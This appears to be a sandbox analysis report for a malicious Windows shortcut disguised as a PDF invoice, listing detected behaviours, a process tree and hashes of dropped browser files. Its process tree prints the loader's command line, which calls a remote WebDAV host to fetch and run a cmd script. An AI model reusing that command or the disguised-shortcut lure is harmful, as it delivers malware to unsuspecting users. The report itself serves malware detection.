Overview

overview

7

Static

static

1

NF50347204...df.lnk

windows10-2004-x64

NF50347204...df.lnk

windows11-ltsc_2024-x64

3

Resubmissions

10/09/2026, 16:26

260910-txggnavtdx1

10/09/2026, 16:02

260910-tgvpcasbpc7

Analysis

  • user interaction
    yes
  • max time kernel
    181s
  • max time network
    184s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 16:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    NF503472044779.pdf.lnk
  • Size 2KB
  • Sample260910-tgvpcasbpc
  • SHA256 be611d04f6058ea288650500db6bd913bd3c61eb20fd521d94319c3a62bf8cab
  • MD5 SHA1 SHA512 TLSH
Score
7/10
discoveryexecution

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\NF503472044779.pdf.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4520
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" start "" cmd /c call "\\emissao.veltrona.club@SSL\ks\bsn.cmd"
      2⤵
      • Executes a command shell one-liner
      PID:2408
  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffe7759c728,0x7ffe7759c734,0x7ffe7759c740
      2⤵
        PID:4372
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1708,i,4886986511660350412,9261802061591974609,262144 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1928 /prefetch:2
        2⤵
          PID:3460
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2152,i,11037878345513281762,10553997566115533944,524288 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2184 /prefetch:3
          2⤵
          • System Time Discovery
          PID:3304
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2428,i,3280759327175973754,11266063534498673876,524288 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2608 /prefetch:8
          2⤵
            PID:2724
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3160,i,17673934190051456987,10948951321175984478,2097152 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3172 /prefetch:1
            2⤵
              PID:3500
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3220,i,16229408897300304804,16448536125468134157,2097152 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3244 /prefetch:1
              2⤵
                PID:3508
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4584,i,9295196513452630232,7704138379869006404,2097152 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4592 /prefetch:1
                2⤵
                  PID:2576
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5364,i,17430885018034690787,15209208699422955922,524288 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5344 /prefetch:8
                  2⤵
                    PID:4500
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5676,i,10353164815232244496,2270229621275526036,524288 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5668 /prefetch:8
                    2⤵
                      PID:2128
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5464,i,3332715127647996260,17772262604258458357,524288 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5664 /prefetch:8
                      2⤵
                        PID:3536
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5616,i,12416653690774408685,12690720622695304417,524288 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5568 /prefetch:8
                        2⤵
                          PID:1036
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5764,i,17688320490488936001,4036666633929050799,2097152 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5388 /prefetch:1
                          2⤵
                            PID:440
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3448,i,17664754841800201301,4735127992213009952,262144 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3444 /prefetch:8
                            2⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3376
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3004,i,11476139696170255324,337492164451956494,2097152 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3412 /prefetch:1
                            2⤵
                              PID:3372
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=3428,i,2129856079004618567,4943456503206675613,2097152 --field-trial-handle=1880,i,4781574683641379678,424219276313616499,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3300 /prefetch:1
                              2⤵
                                PID:3148
                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                              1⤵
                                PID:1880
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                1⤵
                                  PID:3744
                                • C:\Windows\system32\LogonUI.exe
                                  "LogonUI.exe" /flags:0x4 /state0:0xa396c055 /state1:0x41c64e6d
                                  1⤵
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2832

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      BookmarkMergedSurfaceOrdering
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                      • Size 6B
                                      • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                      • MD5 SHA1 SHA512
                                      Submit Download

                                      BrowsingTopicsState
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                      • Size 414B
                                      • SHA256 ed58fbbc9932e3e544e872b0e27953a9521f34a1ef03c965259068252269dfbd
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      Network Persistent State
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                      • Size 3KB
                                      • SHA256 8ac9798403cde34f4ca0afdda3f92c9c5c12bbfced352e3b6c464325d66ebb50
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      Network Persistent State
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                      • Size 2KB
                                      • SHA256 fb06e34f7191eacfdf0c781041dbeb54fca2fe7a0189d7d892e2c847de944104
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      SCT Auditing Pending Reports
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                      • Size 2B
                                      • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                      • MD5 SHA1 SHA512
                                      Submit Download

                                      TransportSecurity
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                      • Size 523B
                                      • SHA256 3a1b29446f4dc1d42cd43c02206615480d16a43b91ef8c8f7cfc2ab72f78309e
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      • Size 12KB
                                      • SHA256 83a34e76e20f0e590ba0f51591d0686f75fb7c59b0b88e63836cf31f2b813b7e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      • Size 12KB
                                      • SHA256 4347d5cf4767fe82eb4a67721e289c27c88225d1ee1ffe125953036c675f4b3b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      • Size 12KB
                                      • SHA256 7f4f37dd3c7ccdfac6920683ad1c9c08fc7da792694c5a7504ee70c854f25ab7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      • Size 13KB
                                      • SHA256 505196c87aaf4d3449848fbf5b9bdba95a320d0cca8eebc4de755d969caf1924
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      • Size 11KB
                                      • SHA256 2de548f6255bf6e7bf2606380fbaa0d9d2978369b5dd94447a3e99fd1daf1722
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      • Size 12KB
                                      • SHA256 4af5b78ac257499c52ea59df9b1766486274dfed2fb8751470b6e583d1aa8c86
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      • Size 12KB
                                      • SHA256 e3e30629b3ead39c16581cdea2e38f816809f5ea3cf8e0a7a7c99d74f1cba928
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      • Size 11KB
                                      • SHA256 9f707c4f325c31e397924b92341ca6de101e4172bee8c350df632de77d266f37
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                      • Size 12KB
                                      • SHA256 4217d76d88657abd063e182cb6f2548bb3aa10a60cee24b0dd3ace68d954516f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Secure Preferences
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                      • Size 13KB
                                      • SHA256 3426e293396fa1424a09f9423424627a398157ab7bfc3ec06964ae1df493a1c5
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Local State
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                      • Size 242KB
                                      • SHA256 215801564869ad3eb0d0c37f1ea649a1f2d5f502bccdf27df2dd8999fb316bc3
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Local State
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                      • Size 242KB
                                      • SHA256 606c54c582d321c99c687748182e02d73c7d27f0b1888447a1ede475932416ad
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Local State
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                      • Size 243KB
                                      • SHA256 2645d5d0c3c5c502971a86246076b6d1b08220886a0b4c0819b3d6520ad5bd82
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Local State
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                      • Size 243KB
                                      • SHA256 fff5dfd6e7396b786b41cc204720c4cffd9d9ff3f39744af6108c5d84671953d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Local State
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                      • Size 115KB
                                      • SHA256 644d37a1b224be13fe9793ba4618b838bc7242ee3b6c564d7d3aa452669eca58
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      data_1
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
                                      • Size 264KB
                                      • SHA256 7a2d01e464b8e4dcd2acb767b727c7db77325c8183201233c36e2d8f826853ed
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download